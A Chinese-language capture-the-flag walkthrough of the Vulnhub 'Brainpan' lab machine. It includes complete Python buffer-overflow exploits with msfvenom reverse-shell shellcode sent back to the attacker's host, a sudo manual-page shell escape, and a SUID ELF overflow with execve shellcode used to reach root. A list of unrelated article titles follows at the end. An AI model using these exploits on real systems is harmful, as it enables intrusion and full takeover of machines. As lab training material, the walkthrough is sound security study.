这个靶机前面考exe文件的缓冲区溢出,后面的提权方法还有对linux-elf文件的缓冲区溢出。可以熟悉ollydbg &immunitydebugger & gdb 几个常用调试工具和方法

https://www.vulnhub.com/entry/brainpan-1,51/
安装为nat网络
arp-scan -l。比平常多出来的那个就是靶机了

nmap

C:\root> nmap -A 192.168.189.188
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-20 22:11 EDT
Nmap scan report for 192.168.189.188
Host is up (0.00063s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings:
|   NULL:
|     _| _|
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).

就俩
带入端口号进网页,找到http://192.168.189.188:10000 这里面有图。
dirbuster扫。



发现bin目录下有个exe。下载下来
看看啥玩意。32位的

C:\root\Downloads> file brainpan.exe
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

wine它看看是啥,结果我的考试官方版kali2020没有自带wine?要啥没啥??

apt-get insatll wine
因为是32位的exe,如果你是64位机,还得根据提示安装32位的wine
dpkg --add-architecture i386 && apt-get update && apt-get install wine32

运行
随便输几个A,回答拒绝进入,再输入N多A,没有反应了或者报错。就是缓冲区溢出考点啊

这次似乎要输很多A才没反应报错

用工具测崩溃点,加到1000

C:\root\Desktop> /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

网上有很多脚本,自己写或随便改一个。脚本发送,探测。这步我是在本机的kali打开brainpan的,所以ip地址是kaili的

import sys,socketvictim = '192.168.xxx.xxx'
port = 9999
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:print "[-] Connecting to " + str(victim)s.connect((victim, port))s.recv(1024)# Send payload print "[-] Sending payload.... ",s.send(payload)print "Done"except:print "[-] Unable to connect to " + str(victim)sys.exit(0)

kali2020安装好的wine自带debug模式了??下面就出来了地址
直接就告诉我eip地址了??挺方便。不过后面还是得用ollydbg或者Immunity Debugger更方便调试,oscp教材用的是后者

通过地址反推崩溃点为524

C:\root\Desktop> /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134 -l 1000
[*] Exact match at offset 524

理论上到了524,eip就会被我控制。我再到esp后面放弹shell指令就是了,系统就会执行我的指令。

这个时候方便后面调试,我用ollydbg,因为我本机win10上有这个,没有immunity那个。建议你们用后者,和oscp对应。不过大同小异了

换到win上去,brainpan.exe也要拷到win。此时ip地址换win的。有可能还会被win的防火墙拦住9999端口,我直接把防火墙都关了。。。

然后,我再开始测试坏字符。看看哪些字符是不能用的。不能用的,就不能出现在后面我生成的弹shell指令里

坏字符就是把所有的字符拿去试。没有出现的,就得删掉

import sys,socketvictim = '192.168.xxx.xxx'
port = 9999junk = "\x41"*524
eip = "\x42"*4badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10""\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30""\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50""\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70""\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90""\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0""\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0""\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0""\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00")payload = junk+eip+badcharss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:print "[-] Connecting to " + str(victim)s.connect((victim, port))s.recv(1024)# Send payload print "[-] Sending payload.... ",s.send(payload)print "Done"except:print "[-] Unable to connect to " + str(victim)sys.exit(0)

可以看到在524的情况下。eip已经被我的4个B精确塞满了。好邪恶。。接下来我可以进一步邪恶的为所欲为了
esp那里右键点follow dump
左下角右键hex,选择16位ascii查看坏字符,但这次都在,说明没有坏字符。

但是要注意无论有没有坏字符都要把00干掉

ok还要看esp的大小。足够大才能放下我的shellcode。不够大就加大buffer数量,比如我提到1000,应该足够了。

import sys,socketvictim = '192.168.xx.xx'
port = 9999junk = "\x41"*524
eip = "\x42"*4
shellcode = "\x43"*(1000-524-4)payload = junk+eip+shellcodes = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:print "[-] Connecting to " + str(victim)s.connect((victim, port))s.recv(1024)# Send payload print "[-] Sending payload.... ",s.send(payload)print "Done"except:print "[-] Unable to connect to " + str(victim)sys.exit(0)

再后就是找跳esp的地址了
因为是在esp里放shellcode。所以接下来解决跳esp地址问题。右键search for - command输入JMP ESP指令
这个exe自带稳定版跳esp 311712F3。在脚本里是该反着写。

如果复杂点,就会像oscp教材那样。immunity dbg用mona脚本,找哪个是最稳定的。

最后一步。生成我的shellcode,把坏字符00给干掉了

msfvenom -p linux/x86/shell_reverse_tcp -b "\x00" LHOST=192.168.xxx.xxx LPORT=443 -f python -e x86/shikata_ga_nai

放到我的最终脚本里。这是对靶机打了,所以填靶机ip。还要加上90,更稳定

import sys,socketvictim = '192.168.189.188'
port = 9999junk = "\x41"*524
eip = "\xf3\x12\x17\x31"
shellcode = "\x90" * 50 buf =  b""
buf += b"\xbf\x41\x27\xc3\x5c\xda\xc8\xd9\x74\x24\xf4\x58\x29"
buf += b"\xc9\xb1\x12\x83\xc0\x04\x31\x78\x0e\x03\x39\x29\x21"
buf += b"\xa9\x88\xee\x52\xb1\xb9\x53\xce\x5c\x3f\xdd\x11\x10"
buf += b"\x59\x10\x51\xc2\xfc\x1a\x6d\x28\x7e\x13\xeb\x4b\x16"
buf += b"\x64\xa3\x11\x55\x0c\xb6\x69\x98\x76\x3f\x88\x2a\xee"
buf += b"\x10\x1a\x19\x5c\x93\x15\x7c\x6f\x14\x77\x16\x1e\x3a"
buf += b"\x0b\x8e\xb6\x6b\xc4\x2c\x2e\xfd\xf9\xe2\xe3\x74\x1c"
buf += b"\xb2\x0f\x4a\x5f"payload = junk + eip + shellcode + bufs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:print "[-] Connecting to " + str(victim)s.connect((victim, port))s.recv(1024)# Send payload print "[-] Sending payload.... ",s.send(payload)print "Done"except:print "[-] Unable to connect to " + str(victim)sys.exit(0)

收到shell

接着sudo -l可以看到这个,可以以root身份执行这个,那就利用这个提root

执行后会有三选项。第三个后面带command,命令的意思。看起来像能命令执行。。。于是试试
但结果他是给解释你输入的命令,比如输nc就解释nc,ls就解释ls。。。

sudo /home/anansi/bin/anansi_util manual ls

但是在打开解释后,会问你不懂就按h,退出就按q的后面,还能继续输入命令。
这个时候我其实是root身份在运行这个了,还能输入命令?这是漏洞

那我输!/bin/sh 直接转shell啊。。
成功

这个靶机还带有linux文件的缓冲区溢出。。。
suid里发现可疑文件validate
一般来说suid,不会有这玩意,可以看看。file 它发现是elf文件,ls -la 发现他属于另一个user :anansi

suid知识学习

尤其是这句。那意思如果成功溢出,就是对anansi的文件就有权限了

如果一个程序设置了SUID,则euid和egid变成被运行的程序的所有者的uid和gid,
SUID的作用就是这样:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。passwd就是一个很鲜明的例子。

而且我们知道之前的提权方法:puck用户的sudo -l 的/home/anansi/bin/anansi_util文件 是root在执行 ,而这个文件也是anansi路径下的。
我拿到anaasi的权限后,可以修改anansi_util。改成/bin/sh,再sudo 。这次直接被root执行/bin/sh我不就是root了?

有些绕,不过也是熟悉linux下的缓冲区溢出了。。。

开始测试

还是输入,发现有缓冲器溢出可能
linux上的东西可以拿gdb调试
拷到本机,然后gdb
或者在gdb基础上再安装插件peda

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

先200个看看

C:\root\Desktop> /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

启动gdb,自动成peda。输入那200个测试字符

C:\root\Desktop> gdb ./validate
GNU gdb (Debian 9.1-3) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./validate...gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program: /root/Desktop/validate Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5AgProgram received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd7e8 ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
EBX: 0x41366441 ('Ad6A')
ECX: 0xffffdb80 ("g3Ag4Ag5Ag")
EDX: 0xffffd8a6 ("g3Ag4Ag5Ag")
ESI: 0xf7fb0000 --> 0x1dfd6c
EDI: 0xf7fb0000 --> 0x1dfd6c
EBP: 0x64413764 ('d7Ad')
ESP: 0xffffd860 ("Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
EIP: 0x39644138 ('8Ad9')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x39644138
[------------------------------------stack-------------------------------------]
0000| 0xffffd860 ("Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0004| 0xffffd864 ("e1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0008| 0xffffd868 ("2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0012| 0xffffd86c ("Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0016| 0xffffd870 ("e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0020| 0xffffd874 ("6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0024| 0xffffd878 ("Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0028| 0xffffd87c ("e9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x39644138 in ?? ()

找到崩溃点

C:\root\Desktop> /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39644138 -l 200
[*] Exact match at offset 116

找一个固定可用的bind /bin/sh shell。这次不弹reverse。毕竟我已有了puck的shell。我在这个shell里直接缓冲区溢出拿anansi的shell就行了

用这个工具找return address call eax

C:\root\Desktop> objdump -D validate | grep call| grep eax8048468:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)80484af:       ff d0                   call   *%eax804862b:       ff d0                   call   *%eax

完整的shell

#!/usr/bin/pythonshellcode=(
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x51\x53\x89\xe1\xcd\x80"
)nop="\x90"*(116-len(shellcode))ret_addr="\xaf\x94\x04\x08"print shellcode+nop+ret_addr

将这个脚本再拷到靶机去,执行。注意引号是这样的

/usr/local/bin/validate  `python linux.py`

ok我的euid变成anansi了,有他的权限了
我把原版的root执行的那个文件拷走,改成其他文件,或者直接删掉

cp anansi_util anansi_util.oldone

再建一个新的。名字还是那名,但内容直接就是/bin/sh,给我shell

cp /bin/bash anansi_util

再sudo,root就会执行它。
我成root搞定

vulnhub-Brainpan (考点:windows exe和linux elf下的两种缓冲区溢出)相关推荐

  1. openfire在windows环境和linux环境下的配置

    一般很多时候开发人员会用openfire作为消息推送或者即时通讯的服务器,下面主要介绍一下openfire在windows环境和linux环境下的配置. 一.openfire在windows环境下的配 ...

  2. openfire linux 64,openfire在windows环境和linux环境下的配置

    一般很多时候开发人员会用openfire作为消息推送或者即时通讯的服务器,下面主要介绍一下openfire在windows环境和linux环境下的配置. 一.openfire在windows环境下的配 ...

  3. Linux NetCore下Pdf转图片 内存溢出

    Linux NetCore下Pdf转图片 内存溢出 Linux PDF转图片异常 查看libgdiplus版本 解决方案 NetCore 3.1下面调用Pdf转图片的组件,在本地windows环境下转 ...

  4. linux下安装两个nginx教程,在linux系统下安装两个nginx的简单方法

    在linux系统下安装两个nginx的简单方法 发布时间:2017-03-09 12:08 来源:互联网 当前栏目:web技术类 在linux下安装nginx的时候,一般在./configure的阶段 ...

  5. linux系统下集群共享磁盘sdb分区,Linux下的两种磁盘分区工具的使用

    今天我们来说一下如何使用fdisk和parted分区工具来进行硬盘分区,.下面我来说一下在Linux系统中这两种硬盘分区工具的使用方法: ----------fdisk分区工具---------- 在 ...

  6. Windows Docker 配置国内镜像源的两种方法

    Windows Docker配置国内镜像源的两种方法 更新时间 2022.04.14 通过Docker-Desktop界面操作和修改daemon.json两种方法配置国内镜像源 方法一:通过Docke ...

  7. Linux 修改密码的两种方式

    Linux 修改密码的两种方式 1.直接进行修改 2.使用 echo 进行修改 1.直接进行修改 密码需要输入两次进行确认. 对用户"zhangyan"进行密码修改,改为" ...

  8. Nginx在Windows系统和Linux系统下的重启

    一.Windows系统下重启nginx 1.杀掉nginx进程 tskill nginx echo 已终止所有ginx进程 2.启动nginx cd f:\nginx-1.0.5  nginx.exe ...

  9. node.js命令行程序在Windows系统和Linux系统下的部署

    在Windows系统下全局部署node.js写的命令行程序 我们有一个简单的命令行程序,使用node.js的commander模块写的,只有一个文件hello.js,其内容如下: #!/usr/bin ...

最新文章

  1. 1加6投屏_今天说说投屏那点事,建议大家选购投屏器,要关注这些点
  2. charles基本使用文档
  3. c语言 typedef的用法
  4. 什么是Brouter?
  5. poi 设置word表格颜色_POI工具练习
  6. 从里面学到的关于过去的经验 后篇
  7. linux 权限之所有者所属组
  8. ALOS_PALSAR_12.5m分辨率DEM数据下载
  9. vpx计算机论文,高端计算机系统架构设计与VPX总线
  10. 如何在网上隐藏自己的IP地址
  11. 微信小程序 一键下载所有图片和视频
  12. oracle 逗号,查询oracle中逗号分隔字符串中所有值
  13. VPS云主机的定义和基本优势有哪些
  14. 微信小程序退款 报错 FAIL 证书验证失败
  15. 系统架构师(八)系统分析与设计方法
  16. 启用Win10家庭版的远程桌面服务端
  17. 2020usnews计算机排名布朗,布朗大学排名在2020年USNEWS美国最佳综合大学排名第14...
  18. Flutter适配深色模式(DarkMode)
  19. DDD---领域驱动设计(一)
  20. 3 基于matplotlib的python数据可视化——导入Excel数据绘制组合图表

热门文章

  1. 园林系统优秀党员推荐材料_事迹材料-园林绿化公司党员先进个人事迹材料
  2. linux桌面旋转了180度,视频怎么90°和180°旋转
  3. MetaWRAP 安装与配置
  4. 手机游戏盗版现状与保护方案研究分析
  5. 《你要如何衡量你的人生》笔记与感想(三)怎样平衡周密计划与偶然机会的关系
  6. 在此处打开命令窗口 (Open command window here)
  7. 让你的桌面腾飞吧(OpenSolaris2008.05 + VirtualBox + WinXP)
  8. Linux网络驱动架构
  9. 上海调高公积金贷款上限 首次购房每户可贷50万
  10. 你该知道的浏览器请求与Header